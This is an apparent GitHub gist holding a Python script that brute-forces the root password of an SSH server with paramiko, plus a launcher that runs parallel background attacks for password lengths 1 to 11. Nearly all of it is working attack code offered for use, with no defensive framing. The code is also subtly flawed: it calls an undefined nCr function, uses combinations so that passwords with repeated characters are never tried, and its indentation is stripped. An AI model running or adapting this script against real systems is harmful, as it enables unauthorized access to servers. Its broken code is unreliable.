Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Bruteforcing over paramiko
import string
import paramiko
from itertools import combinations
import sys
server_ip = "" #put ip of the user here
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
charset = string.printable[:36]
def writeCombinations(size):
n = len(charset)
password_size = nCr(n, size)
print "Generating:", password_size
all_combinations = combinations(charset, size)
for p in combinations(charset, size):
password = "".join(p)
yield password
for password in writeCombinations(int(sys.argv[-1])):
print "trying:", password ,
try:
ssh.connect(server_ip, username='root', password=password)
stdin, stdout, stderr = ssh.exec_command('uname -a')
print "is success"
for line in stdout.readlines():
print line
break
except paramiko.ssh_exception.AuthenticationException:
print "is failed"
except KeyboardInterrupt:
pass
except:
pass
import os
size = 12
# attack with different sizes :)
for i in range(1,size):
os.system("python -u bruteforce.py %s > ./flog-%s.txt &" % (str(i), str(i)))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.